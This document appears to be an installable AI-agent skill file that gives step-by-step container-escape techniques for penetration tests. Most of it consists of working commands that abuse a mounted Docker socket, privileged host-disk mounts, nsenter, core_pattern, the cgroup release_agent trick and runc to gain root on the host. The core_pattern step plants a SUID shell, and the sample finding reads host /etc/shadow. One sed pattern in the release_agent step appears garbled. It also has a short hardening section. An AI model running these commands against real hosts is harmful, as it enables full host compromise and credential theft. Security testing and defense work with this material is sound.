exploiting-container-escapes

star 618

Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse.

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-container-escapes description: Escaping Docker/containerd containers to the host during authorized engagements via privileged-container abuse (host disk mount, capabilities, nsenter), sensitive host mounts (docker.sock, /proc/sys/kernel/core_pattern, /proc/sysrq-trigger), the cgroup release_agent technique, and runc config.json bind-mount abuse. domain: cybersecurity subdomain: linux-hardening tags:

  • penetration-testing
  • linux
  • containers
  • container-escape
  • docker version: '1.0' author: xalgorix license: Apache-2.0

Exploiting Container Escapes

When to Use

  • After gaining code execution inside a Docker, containerd, or CRI-O container during an authorized engagement
  • When the container was started with --privileged, extra capabilities, or host namespaces
  • When sensitive host paths or sockets are bind-mounted into the container
  • When runc/ctr binaries or a Docker socket are reachable from inside
  • During Kubernetes pod assessments where the pod's security context is weak

Critical: Techniques Most Often Missed

Operators see "it's a container" and stop. Run the recon block first — one writable socket or proc path is usually a host shell.

  • Mounted Docker/containerd socket = trivial host root. Spawn a new container mounting host /.
    • How to CONFIRM: find / -name docker.sock 2>/dev/null; then docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh gives a host root shell.
  • Privileged container + host block device. Mount the host disk and chroot.
    • How to CONFIRM: ls -l /dev/sd* /dev/vd* /dev/nvme* lists host disks; mount /dev/sda1 /mnt && chroot /mnt sh reaches the host FS.
  • Writable /proc/sys/kernel/core_pattern. A crash triggers a pipe handler that runs as root on the host.
    • How to CONFIRM: [ -w /proc/sys/kernel/core_pattern ]; piping a payload via core_pattern and crashing a process drops a root SUID shell.
  • CAP_SYS_ADMIN + cgroup v1 = release_agent escape. No kernel exploit needed.
    • How to CONFIRM: capsh --print | grep sys_admin and a mountable cgroup; the release_agent script runs on the host when the cgroup empties.
  • Host PID namespace + nsenter. Enter PID 1's namespaces directly.
    • How to CONFIRM: ps -ef shows host processes; nsenter -t 1 -m -u -n -i -p /bin/bash yields a host shell.
  • Reachable runc. Craft a config.json that bind-mounts host / and run it.
    • How to CONFIRM: runc -help works; a container with a / rbind mount in config.json exposes the host root.

Workflow

Step 1: Recon — Confirm Which Escape Families Are Viable

capsh --print                                    # expanded cap set? cap_sys_admin?
grep Seccomp /proc/self/status                   # Seccomp: 0 = disabled
cat /proc/self/attr/current 2>/dev/null          # AppArmor/SELinux confinement gone?
mount | grep -E '/proc|/sys| /host| /mnt| /var'  # dangerous kernel FS / host binds
ls -l /dev/sd* /dev/vd* /dev/nvme* 2>/dev/null   # host block devices visible?
find / -maxdepth 3 -name '*.sock' 2>/dev/null    # runtime sockets
env ; cat /proc/1/cgroup                          # detect runtime + cgroup layout
# deepce.sh / amicontained give the same picture automatically

Step 2: Abuse a Mounted Runtime Socket

find / -maxdepth 4 \( -name docker.sock -o -name containerd.sock -o -name crio.sock \) 2>/dev/null
# Docker socket -> new container with host / mounted, then chroot
docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash
# containerd
ctr --address /run/containerd/containerd.sock images ls

Step 3: Privileged Container — Mount the Host Disk

fdisk -l 2>/dev/null ; blkid 2>/dev/null         # identify host root partition
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host 2>/dev/null || mount /dev/vda1 /mnt/host
chroot /mnt/host /bin/bash
# Or bind-mount the already-visible host root
mkdir -p /tmp/host && mount --bind / /tmp/host && chroot /tmp/host /bin/bash

Step 4: Host Namespace Entry (nsenter)

which nsenter
nsenter -t 1 -m -u -n -i -p /bin/bash            # needs CAP_SYS_ADMIN + host PID (--pid=host)
ps -ef | head                                     # confirm you see host processes

Step 5: Sensitive Host Mount — core_pattern Host RCE

[ -w /proc/sys/kernel/core_pattern ] || echo "not writable"
# find the overlay upperdir so the host can read our script
overlay=$(mount | sed -n 's/.*upperdir=\([^,]*\).*/\1/p' | head -n1)
cat > /shell.sh <<'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh; chmod u+s /tmp/rootsh
EOF
chmod +x /shell.sh
echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
# crash a process to trigger the pipe handler (runs as root on host)
cat > /tmp/crash.c <<'EOF'
int main(void){ char b[1]; for(int i=0;i<100;i++) b[i]=1; return 0; }
EOF
gcc /tmp/crash.c -o /tmp/crash && /tmp/crash
ls -l /tmp/rootsh
# Other high-value writable paths: /proc/sys/kernel/modprobe, /proc/sysrq-trigger, /proc/kcore (recon)

Step 6: CAP_SYS_ADMIN cgroup v1 release_agent Escape

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
# host path of our container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<EOF
#!/bin/sh
ps aux > $host_path/output
EOF
chmod +x /cmd
# trigger: process exits -> empties cgroup -> kernel runs release_agent as root on HOST
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

Step 7: runc config.json Bind-Mount Abuse

runc -help                                        # runc reachable?
runc spec                                         # generates config.json
# add to the "mounts" array in config.json:
#   { "type":"bind","source":"/","destination":"/","options":["rbind","rw","rprivate"] }
mkdir rootfs
runc run demo                                     # root folder is the HOST's /

Key Concepts

Concept Description
--privileged Drops device cgroup limits, seccomp, AppArmor/SELinux; grants all capabilities
Host namespace sharing --pid=host/--network=host; enables nsenter and host process visibility
Runtime socket exposure A mounted docker.sock/containerd.sock = full control of the runtime as root
Sensitive host mount Bind mounts of /proc, /sys, /var, devices exposing host kernel controls
core_pattern Writable /proc/sys/kernel/core_pattern runs a pipe handler as root on crash
release_agent cgroup v1 + CAP_SYS_ADMIN trick that executes a script on the host
runc config.json A bind mount of / in the OCI spec exposes the host root filesystem

Tools & Systems

Tool Purpose
amicontained Reports capabilities, seccomp, and namespace/container detection
deepce Automated Docker/container enumeration and escape helper
capsh Confirm the container's capability set (cap_sys_admin etc.)
nsenter Enter host namespaces from a CAP_SYS_ADMIN / host-PID container
docker / ctr Drive a mounted runtime socket to launch a host-mounted container
runc Run an OCI container with a host-root bind mount
linpeas General host/container privesc enumeration

Common Scenarios

Scenario 1: Mounted docker.sock

A CI container bind-mounts /var/run/docker.sock. docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh returns instant host root.

Scenario 2: Privileged container

capsh --print shows the full cap set and /dev/sda1 is visible. Mounting it and chroot writes an SSH key into the host's /root/.ssh.

Scenario 3: Writable core_pattern

A monitoring sidecar mounts /proc writable. Pointing core_pattern at an overlay script and crashing a process yields root code execution on the host.

Scenario 4: CAP_SYS_ADMIN without privileged

A container has --cap-add=SYS_ADMIN but is not fully privileged. The cgroup v1 release_agent technique escapes to the host with no kernel exploit.

Output Format

## Container Escape Finding

**Vulnerability**: Container Breakout to Host
**Severity**: Critical
**Container**: ci-runner (image: build:latest)

### Misconfiguration
- /var/run/docker.sock bind-mounted into the container
- capsh --print: full capability set (cap_sys_admin present)
- Seccomp: 0 (disabled)

### Exploitation
$ docker -H unix:///var/run/docker.sock run --rm -it -v /:/mnt alpine chroot /mnt sh
# id   -> uid=0(root)  on the HOST
# cat /etc/shadow      (host file) -> readable

### Impact
Full compromise of the container host and every other container on it;
host SSH keys / cloud credentials recoverable.

### Recommendation
1. Never mount the Docker/containerd socket into containers
2. Drop --privileged; use --cap-drop=ALL and add only required capabilities
3. Keep seccomp + AppArmor/SELinux enabled; mount /proc and /sys read-only
4. Avoid bind-mounting host /proc, /var, or block devices
5. Use rootless runtimes / user namespaces and admission policies (PSA, OPA/Gatekeeper)
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-container-escapes
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator